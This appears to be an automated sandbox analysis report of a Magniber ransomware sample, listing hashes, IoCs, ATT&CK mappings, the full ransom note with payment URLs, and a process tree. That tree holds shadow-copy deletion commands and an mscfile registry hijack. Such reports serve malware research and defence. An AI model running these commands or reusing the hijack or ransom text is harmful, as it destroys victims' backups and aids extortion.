magniber | f3fff0e99b7e8c7a2d8988759f360dfd24b3e7108e4cba7691f40dacd7c310a3

Analysis

max time kernel
119s
max time network
153s
platform
windows7_x64
resource
win7-20231215-en
resource tags

arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system
submitted
26-12-2023 17:12

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

7f786f98ee0c469c2a7eb81cce8f44c6.dll
Size

38KB
MD5

7f786f98ee0c469c2a7eb81cce8f44c6
SHA1

e09daefa41183764a61e4a43704889cbb9172346
SHA256

f3fff0e99b7e8c7a2d8988759f360dfd24b3e7108e4cba7691f40dacd7c310a3
SHA512

039ed6272d95b73a4d6282326b1a26802ae271d005cc871911455f685ae7bfb7bb04ed0f7e30e4721331a6d5783248d12f91ab414df10608411a08bb2cabc431
SSDEEP

768:jVuj0qdq03H5RlWWLHM25c3IitrNo+3ZGMezaXNb5I6:jKZ3BHM2+wwGMezaHd

Score

10^/10

magniber ransomware

Malware Config

Extracted

Path

C:\Users\Admin\Pictures\readme.txt

Family

magniber

Ransom Note

ALL YOUR DOCUMENTS PHOTOS DATABASES AND OTHER IMPORTANT FILES HAVE BEEN ENCRYPTED! ==================================================================================================== Your files are NOT damaged! Your files are modified only. This modification is reversible. The only 1 way to decrypt your files is to receive the private key and decryption program. Any attempts to restore your files with the third party software will be fatal for your files! ==================================================================================================== To receive the private key and decryption program follow the instructions below: 1. Download "Tor Browser" from https://www.torproject.org/ and install it. 2. In the "Tor Browser" open your personal page here: http://0694c4805614b4906chxgpjnwi.hy5tprdl77synlgxroueyzpat4iszkkx52r4i3ufbg6l7b32zqkyc5ad.onion/hxgpjnwi Note! This page is available via "Tor Browser" only. ==================================================================================================== Also you can use temporary addresses on your personal page without using "Tor Browser": http://0694c4805614b4906chxgpjnwi.metthe.top/hxgpjnwi http://0694c4805614b4906chxgpjnwi.sameleg.site/hxgpjnwi http://0694c4805614b4906chxgpjnwi.iflook.club/hxgpjnwi http://0694c4805614b4906chxgpjnwi.keystwo.uno/hxgpjnwi Note! These are temporary addresses! They will be available for a limited amount of time!

URLs

http://0694c4805614b4906chxgpjnwi.hy5tprdl77synlgxroueyzpat4iszkkx52r4i3ufbg6l7b32zqkyc5ad.onion/hxgpjnwi

http://0694c4805614b4906chxgpjnwi.metthe.top/hxgpjnwi

http://0694c4805614b4906chxgpjnwi.sameleg.site/hxgpjnwi

http://0694c4805614b4906chxgpjnwi.iflook.club/hxgpjnwi

http://0694c4805614b4906chxgpjnwi.keystwo.uno/hxgpjnwi

Signatures

Detect magniber ransomware 2 IoCs

resource	yara_rule
behavioral1/memory/2792-5-0x0000000001CD0000-0x00000000024B2000-memory.dmp	family_magniber
behavioral1/memory/1120-68-0x0000000001B40000-0x0000000001B44000-memory.dmp	family_magniber

Magniber Ransomware
Ransomware family widely seen in Asia being distributed by the Magnitude exploit kit.
ransomware magniber

Process spawned unexpected child process 8 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2732	1980	cmd.exe	44
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1976	1980	vssadmin.exe	44
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	588	1980	vssadmin.exe	44
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	828	1980	vssadmin.exe	44
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	820	1980	vssadmin.exe	44
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2812	1980	cmd.exe	44
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2708	1980	cmd.exe	44
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2368	1980	cmd.exe	44

Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware

File Deletion
T1070.004

Inhibit System Recovery
T1490
Renames multiple (71) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware

Suspicious use of SetThreadContext 3 IoCs

description	pid	Process	procid_target
PID 2792 set thread context of 1120	2792	rundll32.exe	10
PID 2792 set thread context of 1180	2792	rundll32.exe	4
PID 2792 set thread context of 1264	2792	rundll32.exe	9

Interacts with shadow copies 2 TTPs 4 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

pid	Process
1976	vssadmin.exe
588	vssadmin.exe
828	vssadmin.exe
820	vssadmin.exe

Modifies Internet Explorer settings 1 TTPs 34 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1603059206-2004189698-4139800220-1000\Software\Microsoft\Internet Explorer\InternetRegistry	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1603059206-2004189698-4139800220-1000\Software\Microsoft\Internet Explorer\Toolbar\WebBrowser	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1603059206-2004189698-4139800220-1000\Software\Microsoft\Internet Explorer\Main	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-1603059206-2004189698-4139800220-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "0"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1603059206-2004189698-4139800220-1000\Software\Microsoft\Internet Explorer\SearchScopes\DownloadRetries = "3"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1603059206-2004189698-4139800220-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1603059206-2004189698-4139800220-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\MFV = 01000000d08c9ddf0115d1118c7a00c04fc297eb010000002213d23592f6d648a137f9bf65c22cfa000000000200000000001066000000010000200000000333e5227d3f77afc37e32a65b25bbcd57434c6b576ac8a4ad85dd7be5a27c2e000000000e8000000002000020000000351f2a1350322e98ebbf65f2230bcfc43397f70a52be8af69cca8f21205257ba900000008d0a18c5e0ced4b3cd1335bd95f8300e5090a107daf038063eadec6d53af66aa4f850a391a6f6e3a66e72ae1408c5a3a21bc4fa301b0610f19106fa460af708373ff4048721268fd69bf62a2c076fa8cf189c897610355a0d64c9637e60158c703dba0318f448088e90445d46c30437e786135ff0f946294778520aa680f0de5c4c1cc10f20ebb32a3b6d2e6ed23c63c40000000d2b1d6f94c421dbe29831716a0a434e8e9beb329b13616e41e0ff97a4c65990b76396dcfbe3b557c4ae79b903d41fe917185a936978b99d358de46a54a767183	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1603059206-2004189698-4139800220-1000\Software\Microsoft\Internet Explorer\Main	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1603059206-2004189698-4139800220-1000\Software\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1603059206-2004189698-4139800220-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1603059206-2004189698-4139800220-1000\Software\Microsoft\Internet Explorer\IETld\LowMic	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1603059206-2004189698-4139800220-1000\Software\Microsoft\Internet Explorer\PageSetup	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1603059206-2004189698-4139800220-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive\{5A14F481-ACDE-11EE-B93A-6E3D54FB2439} = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1603059206-2004189698-4139800220-1000\Software\Microsoft\Internet Explorer\SearchScopes	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1603059206-2004189698-4139800220-1000\Software\Microsoft\Internet Explorer\LowRegistry	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1603059206-2004189698-4139800220-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NTPFirstRun = "1"	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1603059206-2004189698-4139800220-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\LastProcessed = b0a8e031eb40da01	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1603059206-2004189698-4139800220-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1603059206-2004189698-4139800220-1000\Software\Microsoft\Internet Explorer\Toolbar	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1603059206-2004189698-4139800220-1000\Software\Microsoft\Internet Explorer\Zoom	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1603059206-2004189698-4139800220-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\DecayDateQueue = 01000000d08c9ddf0115d1118c7a00c04fc297eb010000002213d23592f6d648a137f9bf65c22cfa00000000020000000000106600000001000020000000d810d33017eab10c271be972c769907ce8c13ee3c8f56b6f2d91afb4aba6e13d000000000e800000000200002000000040afef2add59510f759da3a1f98b376a33426248951f918bcbbb2c7f9561c78620000000ed9a920771a438f437f1d06ce14d5c66765b0f0a167094b8f220a619ca29c1cf40000000c36a531cb6c256d5c5aa0e150a534ae326e0c80edc453284b972a4db50b0da0a4d89cd4bff48498d821a4ad52e002325ae2570b9cf01a1c3a2dd27e3bcd21c3c	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1603059206-2004189698-4139800220-1000\Software\Microsoft\Internet Explorer\LowRegistry\DOMStorage	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1603059206-2004189698-4139800220-1000\Software\Microsoft\Internet Explorer\IntelliForms	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1603059206-2004189698-4139800220-1000\Software\Microsoft\Internet Explorer\Main\FullScreen = "no"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1603059206-2004189698-4139800220-1000\Software\Microsoft\Internet Explorer\GPU	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1603059206-2004189698-4139800220-1000\Software\Microsoft\Internet Explorer\LowRegistry\DontShowMeThisDialogAgain	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1603059206-2004189698-4139800220-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1603059206-2004189698-4139800220-1000\Software\Microsoft\Internet Explorer\Main\Window_Placement = 2c0000000200000003000000ffffffffffffffffffffffffffffffff2400000024000000aa04000089020000	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1603059206-2004189698-4139800220-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "1"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1603059206-2004189698-4139800220-1000\Software\Microsoft\Internet Explorer\BrowserEmulation\LowMic	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1603059206-2004189698-4139800220-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1603059206-2004189698-4139800220-1000\Software\Microsoft\Internet Explorer\DomainSuggestion	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1603059206-2004189698-4139800220-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\NextUpdateDate = "410740020"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1603059206-2004189698-4139800220-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	iexplore.exe

Modifies registry class 11 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1603059206-2004189698-4139800220-1000_CLASSES\mscfile\shell\open\command	taskhost.exe
Key created	\REGISTRY\USER\S-1-5-21-1603059206-2004189698-4139800220-1000_CLASSES\mscfile	taskhost.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1603059206-2004189698-4139800220-1000_CLASSES\mscfile\shell\open\command\ = "C:\\Windows\\system32\\wbem\\wmic process call create \"vssadmin.exe Delete Shadows /all /quiet\""	Dwm.exe
Key created	\REGISTRY\USER\S-1-5-21-1603059206-2004189698-4139800220-1000_CLASSES\mscfile\shell\open\command	Explorer.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1603059206-2004189698-4139800220-1000_CLASSES\mscfile\shell\open\command\ = "C:\\Windows\\system32\\wbem\\wmic process call create \"vssadmin.exe Delete Shadows /all /quiet\""	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-1603059206-2004189698-4139800220-1000_CLASSES\mscfile\shell\open\command	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-1603059206-2004189698-4139800220-1000_CLASSES\mscfile\shell	taskhost.exe
Key created	\REGISTRY\USER\S-1-5-21-1603059206-2004189698-4139800220-1000_CLASSES\mscfile\shell\open	taskhost.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1603059206-2004189698-4139800220-1000_CLASSES\mscfile\shell\open\command\ = "C:\\Windows\\system32\\wbem\\wmic process call create \"vssadmin.exe Delete Shadows /all /quiet\""	taskhost.exe
Key created	\REGISTRY\USER\S-1-5-21-1603059206-2004189698-4139800220-1000_CLASSES\mscfile\shell\open\command	Dwm.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1603059206-2004189698-4139800220-1000_CLASSES\mscfile\shell\open\command\ = "C:\\Windows\\system32\\wbem\\wmic process call create \"vssadmin.exe Delete Shadows /all /quiet\""	rundll32.exe

Opens file in notepad (likely ransom note) 1 IoCs

ransomware

pid	Process
2292	notepad.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2792	rundll32.exe
2792	rundll32.exe

Suspicious behavior: MapViewOfSection 3 IoCs

pid	Process
2792	rundll32.exe
2792	rundll32.exe
2792	rundll32.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeShutdownPrivilege	1264	Explorer.EXE
Token: SeShutdownPrivilege	1264	Explorer.EXE
Token: SeShutdownPrivilege	1264	Explorer.EXE
Token: SeIncreaseQuotaPrivilege	2500	WMIC.exe
Token: SeSecurityPrivilege	2500	WMIC.exe
Token: SeTakeOwnershipPrivilege	2500	WMIC.exe
Token: SeLoadDriverPrivilege	2500	WMIC.exe
Token: SeSystemProfilePrivilege	2500	WMIC.exe
Token: SeSystemtimePrivilege	2500	WMIC.exe
Token: SeProfSingleProcessPrivilege	2500	WMIC.exe
Token: SeIncBasePriorityPrivilege	2500	WMIC.exe
Token: SeCreatePagefilePrivilege	2500	WMIC.exe
Token: SeBackupPrivilege	2500	WMIC.exe
Token: SeRestorePrivilege	2500	WMIC.exe
Token: SeShutdownPrivilege	2500	WMIC.exe
Token: SeDebugPrivilege	2500	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2500	WMIC.exe
Token: SeRemoteShutdownPrivilege	2500	WMIC.exe
Token: SeUndockPrivilege	2500	WMIC.exe
Token: SeManageVolumePrivilege	2500	WMIC.exe
Token: 33	2500	WMIC.exe
Token: 34	2500	WMIC.exe
Token: 35	2500	WMIC.exe
Token: SeShutdownPrivilege	1264	Explorer.EXE
Token: SeShutdownPrivilege	1264	Explorer.EXE
Token: SeIncreaseQuotaPrivilege	952	WMIC.exe
Token: SeSecurityPrivilege	952	WMIC.exe
Token: SeTakeOwnershipPrivilege	952	WMIC.exe
Token: SeLoadDriverPrivilege	952	WMIC.exe
Token: SeSystemProfilePrivilege	952	WMIC.exe
Token: SeSystemtimePrivilege	952	WMIC.exe
Token: SeProfSingleProcessPrivilege	952	WMIC.exe
Token: SeIncBasePriorityPrivilege	952	WMIC.exe
Token: SeCreatePagefilePrivilege	952	WMIC.exe
Token: SeBackupPrivilege	952	WMIC.exe
Token: SeRestorePrivilege	952	WMIC.exe
Token: SeShutdownPrivilege	952	WMIC.exe
Token: SeDebugPrivilege	952	WMIC.exe
Token: SeSystemEnvironmentPrivilege	952	WMIC.exe
Token: SeRemoteShutdownPrivilege	952	WMIC.exe
Token: SeUndockPrivilege	952	WMIC.exe
Token: SeManageVolumePrivilege	952	WMIC.exe
Token: 33	952	WMIC.exe
Token: 34	952	WMIC.exe
Token: 35	952	WMIC.exe
Token: SeShutdownPrivilege	1264	Explorer.EXE
Token: SeIncreaseQuotaPrivilege	1992	WMIC.exe
Token: SeSecurityPrivilege	1992	WMIC.exe
Token: SeTakeOwnershipPrivilege	1992	WMIC.exe
Token: SeLoadDriverPrivilege	1992	WMIC.exe
Token: SeSystemProfilePrivilege	1992	WMIC.exe
Token: SeSystemtimePrivilege	1992	WMIC.exe
Token: SeProfSingleProcessPrivilege	1992	WMIC.exe
Token: SeIncBasePriorityPrivilege	1992	WMIC.exe
Token: SeCreatePagefilePrivilege	1992	WMIC.exe
Token: SeBackupPrivilege	1992	WMIC.exe
Token: SeRestorePrivilege	1992	WMIC.exe
Token: SeShutdownPrivilege	1992	WMIC.exe
Token: SeDebugPrivilege	1992	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1992	WMIC.exe
Token: SeRemoteShutdownPrivilege	1992	WMIC.exe
Token: SeUndockPrivilege	1992	WMIC.exe
Token: SeManageVolumePrivilege	1992	WMIC.exe
Token: 33	1992	WMIC.exe

Suspicious use of FindShellTrayWindow 5 IoCs

pid	Process
1484	iexplore.exe
1264	Explorer.EXE
1264	Explorer.EXE
1264	Explorer.EXE
1264	Explorer.EXE

Suspicious use of SetWindowsHookEx 6 IoCs

pid	Process
1484	iexplore.exe
1484	iexplore.exe
2760	IEXPLORE.EXE
2760	IEXPLORE.EXE
2760	IEXPLORE.EXE
2760	IEXPLORE.EXE

Suspicious use of UnmapMainImage 2 IoCs

pid	Process
1264	Explorer.EXE
1264	Explorer.EXE

Suspicious use of WriteProcessMemory 61 IoCs

description	pid	Process	procid_target
PID 1120 wrote to memory of 2292	1120	taskhost.exe	27
PID 1120 wrote to memory of 2292	1120	taskhost.exe	27
PID 1120 wrote to memory of 2292	1120	taskhost.exe	27
PID 1120 wrote to memory of 1232	1120	taskhost.exe	36
PID 1120 wrote to memory of 1232	1120	taskhost.exe	36
PID 1120 wrote to memory of 1232	1120	taskhost.exe	36
PID 1120 wrote to memory of 1196	1120	taskhost.exe	35
PID 1120 wrote to memory of 1196	1120	taskhost.exe	35
PID 1120 wrote to memory of 1196	1120	taskhost.exe	35
PID 1196 wrote to memory of 2500	1196	cmd.exe	30
PID 1196 wrote to memory of 2500	1196	cmd.exe	30
PID 1196 wrote to memory of 2500	1196	cmd.exe	30
PID 1180 wrote to memory of 1808	1180	Dwm.exe	33
PID 1180 wrote to memory of 1808	1180	Dwm.exe	33
PID 1180 wrote to memory of 1808	1180	Dwm.exe	33
PID 1264 wrote to memory of 1652	1264	Explorer.EXE	31
PID 1264 wrote to memory of 1652	1264	Explorer.EXE	31
PID 1264 wrote to memory of 1652	1264	Explorer.EXE	31
PID 1652 wrote to memory of 1992	1652	cmd.exe	37
PID 1652 wrote to memory of 1992	1652	cmd.exe	37
PID 1652 wrote to memory of 1992	1652	cmd.exe	37
PID 1808 wrote to memory of 952	1808	cmd.exe	38
PID 1808 wrote to memory of 952	1808	cmd.exe	38
PID 1808 wrote to memory of 952	1808	cmd.exe	38
PID 2792 wrote to memory of 1036	2792	rundll32.exe	39
PID 2792 wrote to memory of 1036	2792	rundll32.exe	39
PID 2792 wrote to memory of 1036	2792	rundll32.exe	39
PID 1036 wrote to memory of 1744	1036	cmd.exe	42
PID 1036 wrote to memory of 1744	1036	cmd.exe	42
PID 1036 wrote to memory of 1744	1036	cmd.exe	42
PID 1232 wrote to memory of 1484	1232	cmd.exe	43
PID 1232 wrote to memory of 1484	1232	cmd.exe	43
PID 1232 wrote to memory of 1484	1232	cmd.exe	43
PID 1484 wrote to memory of 2760	1484	iexplore.exe	70
PID 1484 wrote to memory of 2760	1484	iexplore.exe	70
PID 1484 wrote to memory of 2760	1484	iexplore.exe	70
PID 1484 wrote to memory of 2760	1484	iexplore.exe	70
PID 2708 wrote to memory of 2768	2708	cmd.exe	51
PID 2708 wrote to memory of 2768	2708	cmd.exe	51
PID 2708 wrote to memory of 2768	2708	cmd.exe	51
PID 2368 wrote to memory of 1600	2368	cmd.exe	48
PID 2368 wrote to memory of 1600	2368	cmd.exe	48
PID 2368 wrote to memory of 1600	2368	cmd.exe	48
PID 2732 wrote to memory of 1604	2732	cmd.exe	50
PID 2732 wrote to memory of 1604	2732	cmd.exe	50
PID 2732 wrote to memory of 1604	2732	cmd.exe	50
PID 2812 wrote to memory of 2644	2812	cmd.exe	49
PID 2812 wrote to memory of 2644	2812	cmd.exe	49
PID 2812 wrote to memory of 2644	2812	cmd.exe	49
PID 1604 wrote to memory of 2992	1604	CompMgmtLauncher.exe	52
PID 1604 wrote to memory of 2992	1604	CompMgmtLauncher.exe	52
PID 1604 wrote to memory of 2992	1604	CompMgmtLauncher.exe	52
PID 2644 wrote to memory of 2988	2644	CompMgmtLauncher.exe	69
PID 2644 wrote to memory of 2988	2644	CompMgmtLauncher.exe	69
PID 2644 wrote to memory of 2988	2644	CompMgmtLauncher.exe	69
PID 1600 wrote to memory of 3004	1600	CompMgmtLauncher.exe	53
PID 1600 wrote to memory of 3004	1600	CompMgmtLauncher.exe	53
PID 1600 wrote to memory of 3004	1600	CompMgmtLauncher.exe	53
PID 2768 wrote to memory of 1868	2768	CompMgmtLauncher.exe	55
PID 2768 wrote to memory of 1868	2768	CompMgmtLauncher.exe	55
PID 2768 wrote to memory of 1868	2768	CompMgmtLauncher.exe	55

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Windows\system32\Dwm.exe
"C:\Windows\system32\Dwm.exe"
1⤵
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:1180
- C:\Windows\system32\cmd.exe
  cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1808
- - C:\Windows\system32\wbem\WMIC.exe
    C:\Windows\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe"
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:952

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Modifies registry class
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of UnmapMainImage
- Suspicious use of WriteProcessMemory
PID:1264
- C:\Windows\system32\rundll32.exe
  rundll32.exe C:\Users\Admin\AppData\Local\Temp\7f786f98ee0c469c2a7eb81cce8f44c6.dll,#1
  2⤵
  - Suspicious use of SetThreadContext
  - Modifies registry class
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: MapViewOfSection
  - Suspicious use of WriteProcessMemory
  PID:2792
- - C:\Windows\system32\cmd.exe
    cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe""
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1036
  - - C:\Windows\system32\wbem\WMIC.exe
      C:\Windows\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe"
      4⤵
      PID:1744
- C:\Windows\system32\cmd.exe
  cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1652
- - C:\Windows\system32\wbem\WMIC.exe
    C:\Windows\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe"
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:1992

C:\Windows\system32\taskhost.exe
"taskhost.exe"
1⤵
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:1120
- C:\Windows\system32\notepad.exe
  notepad.exe C:\Users\Public\readme.txt
  2⤵
  - Opens file in notepad (likely ransom note)
  PID:2292
- C:\Windows\system32\cmd.exe
  cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1196
- C:\Windows\system32\cmd.exe
  cmd /c "start http://0694c4805614b4906chxgpjnwi.metthe.top/hxgpjnwi^&2^&39695281^&71^&343^&12"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1232
- - C:\Program Files\Internet Explorer\iexplore.exe
    "C:\Program Files\Internet Explorer\iexplore.exe" http://0694c4805614b4906chxgpjnwi.metthe.top/hxgpjnwi&2&39695281&71&343&12
    3⤵
    - Modifies Internet Explorer settings
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of SetWindowsHookEx
    - Suspicious use of WriteProcessMemory
    PID:1484
  - - C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
      "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:1484 CREDAT:275457 /prefetch:2
      4⤵
      Modifies Internet Explorer settings
      Suspicious use of SetWindowsHookEx
      PID:2760

C:\Windows\system32\wbem\WMIC.exe
C:\Windows\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe"
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2500

C:\Windows\system32\cmd.exe
cmd /c CompMgmtLauncher.exe
1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:2732
- C:\Windows\system32\CompMgmtLauncher.exe
  CompMgmtLauncher.exe
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1604
- - C:\Windows\system32\wbem\wmic.exe
    "C:\Windows\system32\wbem\wmic.exe" process call create "vssadmin.exe Delete Shadows /all /quiet"
    3⤵
    PID:2992

C:\Windows\system32\CompMgmtLauncher.exe
CompMgmtLauncher.exe
1⤵
- Suspicious use of WriteProcessMemory
PID:1600
- C:\Windows\system32\wbem\wmic.exe
  "C:\Windows\system32\wbem\wmic.exe" process call create "vssadmin.exe Delete Shadows /all /quiet"
  2⤵
  PID:3004

C:\Windows\system32\CompMgmtLauncher.exe
CompMgmtLauncher.exe
1⤵
- Suspicious use of WriteProcessMemory
PID:2644
- C:\Windows\system32\wbem\wmic.exe
  "C:\Windows\system32\wbem\wmic.exe" process call create "vssadmin.exe Delete Shadows /all /quiet"
  2⤵
  PID:2988

C:\Windows\system32\CompMgmtLauncher.exe
CompMgmtLauncher.exe
1⤵
- Suspicious use of WriteProcessMemory
PID:2768
- C:\Windows\system32\wbem\wmic.exe
  "C:\Windows\system32\wbem\wmic.exe" process call create "vssadmin.exe Delete Shadows /all /quiet"
  2⤵
  PID:1868

C:\Windows\system32\vssadmin.exe
vssadmin.exe Delete Shadows /all /quiet
1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:1976

C:\Windows\system32\vssadmin.exe
vssadmin.exe Delete Shadows /all /quiet
1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:588

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
PID:1532

C:\Windows\system32\vssadmin.exe
vssadmin.exe Delete Shadows /all /quiet
1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:828

C:\Windows\system32\vssadmin.exe
vssadmin.exe Delete Shadows /all /quiet
1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:820

C:\Windows\system32\cmd.exe
cmd /c CompMgmtLauncher.exe
1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:2812

C:\Windows\system32\cmd.exe
cmd /c CompMgmtLauncher.exe
1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:2708

C:\Windows\system32\cmd.exe
cmd /c CompMgmtLauncher.exe
1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:2368

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

T1112

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Inhibit System Recovery

T1490

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
344B

MD5
e3887457b15b3525437a6677bad1115d

SHA1
1c34ebbccf15cb0e5d75bbaeacbef2f8db59a3f7

SHA256
2fbcbbdb12ad41fe70895e512dd22820687663c2b8441dd3435bd48080fa1053

SHA512
5e139aa7fbccc700f5e5f4052e19cfc1544f4425e298f862fba660ae122ef5b358bfe2debc8eb452992159e71b5eea0e45c60fbbab3956d4985f1f2353d636b8

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
344B

MD5
34246418b4659f56f589c1b0e71697ea

SHA1
863087a5ff92eb1cf94b55682909ee5f6ca7363c

SHA256
cb0a96b96bac75647bd7c29867ee3f2648da3f755583c33cd6f594e08884140e

SHA512
cc2b5445fe3be68f84b4548f1ad93e76c80cefc27fa6575a90a3e507dcb1550e767fcceaf66bbf0679b415dc4c369a4f3e3929475b2d109e32bf327e1e92643c

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
344B

MD5
4b1a0634e13e1c64b2a995a3a08e0dbd

SHA1
07c70c9aeb4f04b2e76289171f1c40089c8098f5

SHA256
f6e05a2ae50d710539d240111d8ff4f3280292c3adb80446eb6c8b3747a65e5a

SHA512
